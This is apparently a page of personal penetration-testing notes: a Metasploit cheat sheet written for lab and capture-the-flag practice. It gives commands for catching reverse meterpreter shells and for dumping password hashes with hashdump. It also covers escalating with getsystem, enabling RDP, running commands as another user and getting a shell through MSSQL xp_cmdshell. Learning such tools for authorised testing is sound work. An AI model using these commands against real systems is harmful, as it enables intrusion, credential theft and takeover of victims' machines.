Metasploit

👹
Hacker's Grimoire
Search…
Hacker's Grimoire
Reconnaissance
Exploitation
Web application attacks
Working with exploits
Metasploit
This page is just basic stuff I forget all the time. There are other Metasploit tips in sections where it's relevant.
Advanced options
Metasploit is so derp-easy that you can often exploit a machine by setting the remote IP in RHOST and hitting the pew-pew button.
But sometimes that doesn't work and you cry because you know you're just a lame script kiddie pretending to be a hacker. However, you can aspire to be a decent script kiddie by knowing how to use more advanced options in Metasploit.
Exploits might not work because of an unusual configuration or path issue, which you can set with either show options or show advanced. The advanced section may let you setverbose = true to provide more information about why an exploit isn't working.
You might also need to set the correct target:
1
show targets
2
set target [target number]
Copied!
​MSO8-067 sometimes needs this because the module can't always identify the exact operating system version and language pack.
It's also important to pay attention to the default payload. Occasionally, you'll run into something weird like an Apache web server running on Windows, so the default Unix payload won't work.
Check and modify the payload:
1
show payloads
2
set payload [whatever]
Copied!
Meterpreter
To catch shells using meterpreter:
1
use exploit/multi/handler
2
set LHOST [attack machine]
3
set LPORT 443
4
run
Copied!
If you're VPNed into a lab, pay attention to the IP address. I've noticed that the first time this module runs, it defaults to eth0 and you have to restart it to use something like tap0.
Basic commands
Frequently used commands, mostly to enumerate a victim machine:
1
getuid      # get current user
2
sysinfo     # gets OS and hostname
3
execute     # execute a command
4
cd          # change directory
5
pwd         # print working directory
6
ls          # list files in current directory
7
mkdir       # make a directory
8
del         # delete a file
9
cat         # read the contents of a file
10
download    # download a file to your machine
11
hashdump    # get contents of password file
12
edit        # edit a file with vim
13
rm          # delete a file
14
rmdir       # remove directory
15
upload      # upload a file to the victim
16
ps          # list running processes
17
migrate     # move the active process to a designated PID
18
getpid      # get the current process ID (PID)
19
kill        # terminate a process by PID
20
ipconfig    # display network interfaces
21
portfwd     # forward a port on the victim to a remote service
22
route       # view or modify routing table
23
getprivs    # get as many privileges as possible
24
getsystem   # get Administrator
25
reboot      # reboot the victim
26
shutdown    # shut down the victim
27
reg         # interact with the victim's registry
Copied!
Sessions
Meterpreter is nice because it lets you maintain multiple shell sessions and use local exploits against them. For example, the Rejetto exploit always seems to fire a few times and with meterpreter, you can catch every shell session with a single listener.
To list active sessions:
1
sessions -l
Copied!
To enter a session:
1
sessions -i [session number]
Copied!
To enter a shell from a session (not use meterpreter commands):
1
shell
Copied!
To exit the shell and return to meterpreter, type exit.
Useful exploits
I mostly use Metasploit on Windows machines because they still feel tricky to me. Below is a list of useful exploits for enumerating and running complex commands.
Windows
Once you have a meterpreter shell, you can scan for local exploits and run them. Unlike remote exploits which target using IP addresses, local exploits run against a chosen shell session.
To access local exploits, you'll need to jump out of meterpreter using background and select one with the use command:
1
meterpreter > background
2
use /exploit/windows/whatever
3
show options
4
[edit options as needed]
5
set SESSION [session number]
6
run
Copied!
Check for exploits:
1
meterpreter > run post/multi/recon/local_exploit_suggester
Copied!
Get a remote desktop:
1
meterpreter > run post/windows/manage/enable_rdp
Copied!
Run a command as a different user:
1
background
2
use post/windows/manage/run_as
3
[set username and password]
4
set CMDOUT true # output results of command
5
set CMD "type C:\Users\Administrator\Desktop\root.txt"
6
run
Copied!
There are manual ways to run commands as different user but I haven't tried them because I'm lazy.
MSSQL
If you have credentials, you can use this module to get a shell:
1
exploit/windows/mssql/mssql_payload
2
[set username and password]
3
run
Copied!
It uses the xp_cmdshell stored procedure, which isn't always enabled but can be. You could probably do the same exploit manually using a tool like dbeaver, but I haven't managed it yet. If you're attacking a very old version of MSSQL (e.g. 2000), you can connnect to it using sqsh:
1
sqsh -S [remote host]:[port] -U [username] -P [password]
Copied!
You can then attempt to launch xp_cmdshell with the following syntax:
1
xp_cmdshell 'date'
2
go
Copied!
Password cracking
Buffer overflow
Last modified 28d ago
Copy link
Contents